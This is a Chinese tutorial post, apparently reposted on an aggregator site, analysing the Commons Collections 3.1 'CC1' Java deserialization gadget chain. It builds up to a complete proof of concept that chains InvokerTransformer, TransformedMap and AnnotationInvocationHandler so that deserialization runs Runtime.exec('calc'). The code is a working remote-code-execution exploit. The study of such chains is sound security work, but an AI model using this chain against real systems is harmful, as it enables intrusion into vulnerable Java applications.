CC1利用链分析

分析版本

Commons Collections 3.1

JDK 8u65

环境配置参考JAVA安全初探(三):CC1链全分析

分析过程

我的Github主页Java反序列化学习同步更新,有简单的利用链图
首先看下CC1利用链的RCE利用点,在接口Transformer
image-20240624170550724

接下来查看此接口的实现类,右键Go To Implementation

image-20240624170711205

去看这些实现类的源码,最后在InvokerTransformer类中找到了利用点,反射。

image-20240624170846045

根据RCE利用点的代码,可以先把POC写一部分,之后慢慢改。(注释是一行实现)

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(runtime);
//new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

我们现在有了利用点,就要向上找使用,最后找到序列化的方法利用链才完成。

在这里先插入一个Runtime类的序列化问题,Runtime类是不能反序列化的。看下Runtime类源码

    private static Runtime currentRuntime = new Runtime();
    public static Runtime getRuntime() {
        return currentRuntime;
    }

getRuntime方法返回了一个实例化的Runtime。

考虑利用反射获取Runtime原型类,调用getRuntime方法去实例化Runtime。

        Class runtime = Class.forName("java.lang.Runtime");
        Method getRuntime = runtime.getDeclaredMethod("getRuntime");
        Runtime r = (Runtime) getRuntime.invoke(null, null);   //获取runtime实例化对象

        Method exec = runtime.getDeclaredMethod("exec", String.class);
        exec.invoke(r,"calc");

之后再想如何和我们找到的RCE利用点结合。InvokerTransformer,可以命令执行。通过反射调用InvokerTransformer去执行上面实例化Runtime类的命令。

        // 使用 InvokerTransformer 获取 getRuntime 方法
        Method getRuntime = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); //方法 方法参数类型 参数 类

        // 使用 InvokerTransformer 调用invoke 方法
        Runtime r = (Runtime) new  InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);

        // 使用 InvokerTransformer 获取 exec 方法
        Method execMethod = (Method) new InvokerTransformer(
                "getDeclaredMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"exec", new Class[]{String.class}}
        ).transform(Runtime.class);

        // 使用 InvokerTransformer 调用 exec 方法
        new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{r, new Object[]{"calc"}}
        ).transform(execMethod);




        //new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
        //这句可以代替上面的两句,因为已经获取到了runtime的实例,直接调用runtime的exec方法就行

观察代码发现,我们对InvokerTransformer的调用是一条链,一句的输入是上一句的输出。这里就会用到CC库的ChainedTransformer类(可以熟悉下CC库一些类的功能)

ChainedTransformer的构造方法是public,参数是Transfromer[](Transfrome数组),所以我们先初始化一个Transfromer数组,再把这个数组放入ChainedTransformer的构造方法参数处。

更新Poc

        Transformer[] transformers = new Transformer[] {
            new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

之后,开始搜索transform的方法调用,在TransformedMap类中的三个方法都调用了transform方法。

    protected Object transformKey(Object object) {
        if (keyTransformer == null) {
            return object;
        }
        return keyTransformer.transform(object);
    }

    protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

(只有checkSetValue方法最后才能到readObject())

接下来利用链就变成了,调用TransformedMap类的checkSetValue方法(当然我们要控制传值)。

TransformedMap的构造方法是protected类型,所以考虑decorate方法给TransformedMap赋值。

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

到这里利用链变为

        Runtime runtime = Runtime.getRuntime();

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap hashMap = new HashMap();
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, invokerTransformer);
        //之后调用checkSetValue

但是,checkSetValue方法是protected类型,无法直接调用.

我们看这个方法的调用。TransformedMap继承的AbstractInputCheckedMapDecorator抽象类中setValue方法调用了checkValue方法。

setValue方法又是在MapEntry(AbstractInputCheckedMapDecorator的内部类)中,这个内部类是继承了AbstractMapEntryDecorator类,重写了AbstractMapEntryDecorator类的setValue方法。

AbstractMapEntryDecorator类又引入了了Map.Entry(Map的键值对)接口。在Map.Entry中setValue方法是给键值对的value赋值的。

image-20240625153801181

到这最终我们是找到了Map.Entry的setValue方法,我们用Map进行键值对的遍历就能调用到setValue方法。

更新下Poc

        Transformer[] transformers = new Transformer[] {
            new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(1,1); //不复制的话Map为空,不能遍历Map
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer); //super传的是hashMap.put(1,1)
        for(Map.Entry entry:transformedMap.entrySet()) {
            entry.setValue(Runtime.class);
        }

(其实不止上面的调用,写完这个Poc可以自己debug一下看下调用过程)

接下来去找setValue的调用,最后在AnnotationInvocationHandler中找到了在readObject方法中的调用。到此利用链完成。

image-20240625154223501

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {  //遍历Map<String, object> memberValues是Map类 memberValue是键值对
            String name = memberValue.getKey();                     //取键值对的key, memberValue
            Class<?> memberType = memberTypes.get(name);            //返回key对应的映射(Value), Class<? extends Annotation> type
            if (memberType != null) {  // i.e. member still exists  //type中需要有memberValues的key
                Object value = memberValue.getValue();              //取键值对的value, memberValue
                if (!(memberType.isInstance(value) ||               //判断两个对象类型,value是否可以强制转化为memberType
                      value instanceof ExceptionProxy)) {           //value是否是ExceptionProxy的实例化对象
                    memberValue.setValue(                           //memberValue需要设置为AbstractInputCheckedMapDecorator
                        new AnnotationTypeMismatchExceptionProxy(   //runtime
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

观察readObject逻辑,大体结构和我们刚刚写的Poc是相同的,是一个Map的遍历,并且Map.Entry调用setValue方法。

这里面要注意判断条件,控制程序运行到setValue的位置。

if (memberType != null) {  // i.e. member still exists  //type中需要有memberValues的key

过这个判断,需要注释type类中需要有与我们传入的memberValues中键值对的key相等一次(Class<?> memberType = memberTypes.get(name);)这个才不返回null。

这里我们用Target类,里面有个value数组。我们要把遍历的hashMap键值对的key改为value。

public @interface Target {
    /**
     * Returns an array of the kinds of elements an annotation type
     * can be applied to.
     * @return an array of the kinds of elements an annotation type
     * can be applied to
     */
    ElementType[] value();
}
  1.                             if (!(memberType.isInstance(value) ||               //判断两个对象类型,value是否可以强制转化为memberType
                                      value instanceof ExceptionProxy)) {           //value是否是ExceptionProxy的实例化对象
    

过这个判断,Target的value和hashMap键值对的value是不同类型。并且hashMap键值对的value不是ExceptionProxy类的实例化对象

  1. setValue中传入的并不是runtime
                    memberValue.setValue(                           
                        new AnnotationTypeMismatchExceptionProxy(   
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));

image-20240629171001578

但是我们没法控制这里的memberValue.setValue()的传值,

回想一下利用思路,我们利用ChainedTransformer

chainedTransformer.transform(Runtime.class); 是为了执行

invokerTransformer.transform(Runtime.class);

所以我们保证ChainedTransformer初始化的Transfrom数组的第一行new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).tranform(XXX)的XXX为Runtim.class就好。

解决这个问题,用到了ConstantTransformer类,构造的时候输入什么,在调用方法的就返回什么

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
public Object transform(Object input) {
    return iConstant;
}

我们构造时输入Runtime.class,在调用tranform时返回Runtime.class。

正好第一行new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).tranform(XXX)中输入XXX的值就变为Runtime.class.

最终的Poc

public class cc1_poc {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("s.ser"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
//7
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value",1); //不复制的话Map为空,不能遍历Map
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer); //super传的是hashMap.put(1,1)

        Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object object = constructor.newInstance(Target.class, transformedMap);

        serialize(object);
        unserialize("s.ser");
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/757205.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

GBJ406-ASEMI无人机专用整流桥GBJ406

编辑&#xff1a;ll GBJ406-ASEMI无人机专用整流桥GBJ406 型号&#xff1a;GBJ406 品牌&#xff1a;ASEMI 封装&#xff1a;GBJ-4 最大重复峰值反向电压&#xff1a;600V 最大正向平均整流电流(Vdss)&#xff1a;4A 功率(Pd)&#xff1a;中小功率 芯片个数&#xff1a;…

【小学期】常用基于Swing的七个静态界面

示例1&#xff1a;基本的带按钮和标签的界面 import javax.swing.*; import java.awt.*;public class SimpleSwingApp1 {public static void main(String[] args) {JFrame frame new JFrame("Simple Swing App 1");frame.setDefaultCloseOperation(JFrame.EXIT_ON_C…

申请免费6个月SSL证书方式和证书特点槽点

当前&#xff0c;HTTPS访问已成为网站标配。随着免费证书平台的不断涌现&#xff0c;Lets Encrypt尤为瞩目&#xff0c;其提供的泛域名和多域名证书申请功能&#xff0c;显著降低了站长和企业的经济负担。从一开始&#xff0c;来此加密就支持通过Lets Encrypt申请免费的域名SSL…

OpenFAST软件中linux-gnu,linux-intel,macos-gnu,vtk,windows-intel文件的作用

在OpenFAST中&#xff0c;5MW_Land_DLL_WTurb目录下的这五个文件夹分别有不同的用途&#xff0c;主要是为了支持不同操作系统和平台的编译和仿真工作。以下是每个文件夹的总结及其作用&#xff1a; linux-gnu 作用&#xff1a;包含用于GNU编译器套件&#xff08;GCC&#xff09…

【高性能服务器】单进程服务器

&#x1f525;博客主页&#xff1a; 我要成为C领域大神&#x1f3a5;系列专栏&#xff1a;【C核心编程】 【计算机网络】 【Linux编程】 【操作系统】 ❤️感谢大家点赞&#x1f44d;收藏⭐评论✍️ 本博客致力于知识分享&#xff0c;与更多的人进行学习交流 ​ 单进程服务器 …

基于Java的地方废物回收机构管理系统

你好呀&#xff0c;我是计算机学姐码农小野&#xff01;如果有相关需求&#xff0c;可以私信联系我。 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#xff1a;Java技术&#xff0c;MIS的总体思想&#xff0c;MySQL数据库 工具&#xff1a;Eclipse&#xff0c;…

落石滑坡监测报警系统:创新保障高速公路安全

​ ​​在现代交通建设中&#xff0c;高速公路的安全性和稳定性至关重要。特别是易发生落石区域&#xff0c;如何有效预防和应对落石滑坡带来的事故成为了一项关键性挑战。为此&#xff0c;落石滑坡监测报警系统应运而生&#xff0c;它通过先进的技术手段&#xff0c;为高速…

计算机网络微课堂(湖科大教书匠)TCP部分

计算机网络微课堂&#xff08;湖科大教书匠&#xff09;TCP部分 【计算机网络微课堂&#xff08;有字幕无背景音乐版&#xff09;】 TCP的流量控制 一般来说&#xff0c;我们希望数据传输得更快一些。但如果发送方把数据发送得过快&#xff0c;接收方就可能来不及接收&#…

win11 (将星x17promax) 安装WSL 子系统

最初只是想着在win11系统下挂载ext4盘符&#xff0c;方便使用。 目录 0. 简介1.安装WSL子系统1.1 环境确认1.1.1 虚拟化设置1.1.2 系统设置1.1.3 开启开发者模式&#xff08;此项有必要&#xff1f;&#xff09;1.1.4 安装WSL子系统 2.WSL操作指令2.0 WSL相关命令2.1 WSL重置2.…

pytorch神经网络训练(VGG-19)

VGG-19 导包 import torchimport torch.nn as nnimport torch.optim as optimimport torchvisionfrom torchvision import datasets, transformsfrom torch.utils.data import DataLoaderimport matplotlib.pyplot as plt 数据预处理和增强 transform transforms.Compose(…

java的序列化和反序列化

一、概念 序列化是将对象的常态存储到特定的存储介质中的过程。 反序列化是将特定的存储介质中的数据重新构建对象的过程。 问题 为每个对象属性——编写读写代码&#xff0c;过程很繁琐且非常容易出错&#xff0c;如何解决&#xff1f; 二、使用Object Output Stream类实现…

C++:enum枚举共用体union

enum枚举 C继承C的枚举用法 (1)典型枚举类型定义&#xff0c;枚举变量定义和使用 (2)枚举类型中的枚举值常量不能和其他外部常量名称冲突&#xff1a; 举例1宏定义&#xff0c;举例2另一个枚举 // 定义一个名为Color的枚举类型 enum Color {RED, // 红色&#xff0c;默认值…

golang跨平台GUI框架fyne介绍与使用详解,开放案例

golang跨平台GUI框架fyne介绍与使用详解 Fyne 是一个使用 Go 编写的易于使用的 UI 工具包和应用程序 API。 它旨在构建使用单一代码库在桌面和移动设备上运行的应用程序。 通过批量调用身份证实名和三网手机实名和银行卡核验等接口&#xff0c;完成fyne框架的基本使用介绍 主要…

AES加密算法及AES-CMAC原理白话版系统解析

本文框架 前言1. AES加密理论1.1 不同AES算法区别1.2 加密过程介绍1.2.1 加密模式和填充方案选择1.2.2 密钥扩展1.2.3分组处理1.2.4多轮加密1.2.4.1字节替换1.2.4.2行移位1.2.4.3列混淆1.2.4.4轮密钥加1.3 加密模式1.3.1ECB模式1.3.2CBC模式1.3.3CTR模式1.3.4CFB模式1.3.5 OFB模…

技术周总结2024.06.17~06.23(Doris数据库)

文章目录 一、06.18 周二1.1&#xff09; 问题01&#xff1a; doris数据表写入使用 stream load好还是 inser into好 一、06.18 周二 1.1&#xff09; 问题01&#xff1a; doris数据表写入使用 stream load好还是 inser into好 对于Doris数据表的写入操作&#xff0c;通常推荐…

动手学深度学习(Pytorch版)代码实践 -计算机视觉-46语义分割和数据集

46语义分割和数据集 # 图像分割和实例分割 """ 图像分割将图像划分为若干组成区域&#xff0c;这类问题的方法通常利用图像中像素之间的相关性。 它在训练时不需要有关图像像素的标签信息&#xff0c;在预测时也无法保证分割出的区域具有我们希望得到的语义。 图…

PDF处理篇:如何调整 PDF 图像的大小

将视觉效果无缝集成到 PDF 中的能力使它们成为强大的通信工具。然而&#xff0c;笨拙的图像大小会迅速扰乱文档的流程&#xff0c;阻碍清晰度和专业性。幸运的是&#xff0c;GeekerPDF 和Adobe Acrobat等流行的应用程序提供了用户友好的解决方案来应对这一挑战。这个全面的指南…

LabVIEW项目外协时选择公司与个人兼职的比较

​在选择LabVIEW项目外协合作伙伴时&#xff0c;外协公司和个人兼职各有优劣。个人兼职成本较低且灵活&#xff0c;但在可靠性、技术覆盖面、资源和风险管理上存在不足。而外协公司拥有专业团队、丰富资源、完善的项目管理和风险控制&#xff0c;尽管成本较高&#xff0c;但能提…

30 哈希的应用

位图 概念 题目 给40亿个不重复的无符号整数&#xff0c;没排过序。给一个无符号整数&#xff0c;如何判断一个数是否在这40亿个整数中 1.遍历&#xff0c;时间复杂度O(N) 2.二分查找&#xff0c;需要先排序&#xff0c;排序(N*logN)&#xff0c;二分查找&#xff0c;logN。…

CriticGPT: 用 GPT-4 找出 GPT-4 的错误

CriticGPT 是 OpenAI 发布的一个基于 GPT-4 的模型&#xff0c;它可以帮助我们人类 Review 并纠正 ChatGPT 在生成代码时的错误。使用 CriticGPT 审查代码时&#xff0c;有 60% 的概率生成的代码更好更正确。